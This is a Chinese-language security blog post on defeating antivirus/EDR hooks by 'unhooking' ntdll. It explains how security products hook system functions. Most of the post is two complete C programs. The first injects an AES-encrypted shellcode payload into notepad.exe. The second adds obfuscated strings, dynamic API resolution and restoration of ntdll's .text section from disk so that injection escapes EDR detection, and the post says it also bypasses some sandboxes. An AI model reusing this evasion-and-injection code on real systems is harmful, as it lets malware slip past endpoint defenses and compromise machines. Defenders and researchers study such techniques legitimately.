杀软EDR对抗-脱钩

蛇矛实验室 2023-06-05 1256

蛇矛实验室

33 文章 8.9w阅读 5粉丝

描述

1.杀软挂钩的工作原理

 一般的杀毒软件会在我们进程启动的时候注入DLL到进程中,然后对系统函数进行Hook(挂钩).从而拦截我们进程的执行流程,当然这个流程只针对于未被添加到白名单的程序.我们来看下效果图.

Shell

这里我设置了白名单为apps目录,在次目录下不会被检测.

我们运行一个系统自带的软件Notepad来看下效果.

首先X64dbg附加进程

Shell

Shell

我们随便搜索一个函数看看是否被HOOK

Shell

Shell

可以发现函数被jmp了,那么是不是我们的函数被HOOK了,如果不清楚我们在运行一个白名单里面的程序看下,或者看JMP后到那里就可以知道了,我们这里对比一下即可.

Shell

对比发现为在白名单里面的程序,被挂钩了.

这里我们写一个注入程序,看看是否还能注入到进程中

 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")

unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };

unsigned int payload_len = sizeof(payload);

int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
  HCRYPTPROV hProv;
  HCRYPTHASH hHash;
  HCRYPTKEY hKey;

  if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
    return -1;
  }
  if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
    return -1;
  }
  if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
    return -1;
  }
  if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
    return -1;
  }

  if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
    return -1;
  }

  CryptReleaseContext(hProv, 0);
  CryptDestroyHash(hHash);
  CryptDestroyKey(hKey);

  return 0;
}


int FindTarget(const char* procname) {

  HANDLE hProcSnap;
  PROCESSENTRY32 pe32;
  int pid = 0;

  hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

  pe32.dwSize = sizeof(PROCESSENTRY32);

  if (!Process32First(hProcSnap, &pe32)) {
    CloseHandle(hProcSnap);
    return 0;
  }

  while (Process32Next(hProcSnap, &pe32)) {
    if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
      pid = pe32.th32ProcessID;
      break;
    }
  }

  CloseHandle(hProcSnap);

  return pid;
}

int Inject(HANDLE hProc, unsigned char* payload, unsigned int payload_len) {

  LPVOID pRemoteCode = NULL;
  HANDLE hThread = NULL;

  AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

  pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

  hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
  if (hThread != NULL) {
    WaitForSingleObject(hThread, 500);
    CloseHandle(hThread);
    return 0;
  }

  return -1;
}


int main(void) {

  int pid = 0;
  HANDLE hProc = NULL;

  pid = FindTarget("notepad.exe");

  if (pid) {
    printf("Notepad.exe PID = %d
", pid);

    hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
      PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
      FALSE, (DWORD)pid);

    if (hProc != NULL) {
      Inject(hProc, payload, payload_len);
      CloseHandle(hProc);
    }
  }
  return 0;
}

 

首先我们先在白名单下运行一下看看.

Shell

发现是可以直接注入的,这很正常,因为杀软不拦截我们的任何行为.

那么我们放到其他地方来运行下看看效果.

Shell

可以发现我们的程序直接被杀掉了,注入的进程也被关闭了.

2.如何绕过EDR挂钩检测

 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")

unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };

unsigned int payload_len = sizeof(payload);

typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI * CreateFileMappingA_t)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedef LPVOID (WINAPI * MapViewOfFile_t)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedef BOOL (WINAPI * UnmapViewOfFile_t)(LPCVOID);

unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
  HCRYPTPROV hProv;
  HCRYPTHASH hHash;
  HCRYPTKEY hKey;

  if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
      return -1;
  }
  if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
      return -1;
  }
  if (!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
      return -1; 
  }
  if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
      return -1;
  }
  
  if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
      return -1;
  }
  
  CryptReleaseContext(hProv, 0);
  CryptDestroyHash(hHash);
  CryptDestroyKey(hKey);
  
  return 0;
}


void XORcrypt(char str2xor[], size_t len, char key) {
    int i;

    for (i = 0; i < len; i++) {
        str2xor[i] = (BYTE)str2xor[i] ^ key;
    }
}



int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

  LPVOID pRemoteCode = NULL;
  HANDLE hThread = NULL;

  AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));
  
  pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
  
  hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
  if (hThread != NULL) {
      WaitForSingleObject(hThread, 500);
      CloseHandle(hThread);
      return 0;
  }
  return -1;
}


static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
  DWORD oldprotect = 0;
  PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping;
  PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew);
  int i;

  unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
  
  VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect);
  
  for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
    PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + 
                        ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i));

    if (!strcmp((char *) pImgSectionHead->Name, ".text")) {
      VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
              pImgSectionHead->Misc.VirtualSize,
              PAGE_EXECUTE_READWRITE,
              &oldprotect);
      if (!oldprotect) {
          return -1;
      }
      memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
          (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress),
          pImgSectionHead->Misc.VirtualSize);

      VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
              pImgSectionHead->Misc.VirtualSize,
              oldprotect,
              &oldprotect);
      if (!oldprotect) {
          return -1;
      }
      return 0;
    }
  }

  return -1;
}




int main(void) {
    
  int pid = 0;
    HANDLE hProc = NULL;

  unsigned char sNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a };

  unsigned char sCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0 };
  unsigned char sMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0 };
  unsigned char sUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0 };

  unsigned int sNtdllPath_len = sizeof(sNtdllPath);
  unsigned int sNtdll_len = sizeof(sNtdll);
  int ret = 0;
  HANDLE hFile;
  HANDLE hFileMapping;
  LPVOID pMapping;
  
  CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sCreateFileMappingA);
  MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sMapViewOfFile);
  UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sUnmapViewOfFile);
  
  XORcrypt((char *) sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
  hFile = CreateFile((LPCSTR) sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  if ( hFile == INVALID_HANDLE_VALUE ) {
      return -1;
  }

  hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
  if (! hFileMapping) {
      CloseHandle(hFile);
      return -1;
  }
  
  pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
  if (!pMapping) {
          CloseHandle(hFileMapping);
          CloseHandle(hFile);
          return -1;
  }
  
  printf("Check 1!
"); getchar(); 
  
  ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pMapping);

  printf("Check 2!
"); getchar(); 

  UnmapViewOfFile_p(pMapping);
  CloseHandle(hFileMapping);
  CloseHandle(hFile);
  
  pid = FindTarget("notepad.exe");

  if (pid) {
    printf("Notepad.exe PID = %d
", pid);

    hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
            PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
            FALSE, (DWORD) pid);

    if (hProc != NULL) {
      Inject(hProc, payload, payload_len);
      CloseHandle(hProc);
    }
  }
  return 0;
}

 

这段代码是加载一份新的NTDLL.DLL来恢复原本已经被破坏的NTDLL.DLL.

整个过程就是我们首先加载一份新的NTDLL.DLL保存起来,然后将原本的代码段属性置成读写可执行的,在将我们内存加载的Text段进行替换到原来的Text段,这样原本HOOK的地方就被我们替换过去了,达到了脱钩的效果,我们去看下运行效果.

Shell

我们拖进X64DBG 看下效果吧.

Shell

目前还是被HOOK的状态,我们回车一下后x64dbg中右键分析这个函数.

Shell

发现函数已经被还原了.

3.脱钩后注入ShellCode到进程中

这样就简单的绕过了EDR的挂钩检测,部分沙箱这种技术同样可以绕过.

Shell




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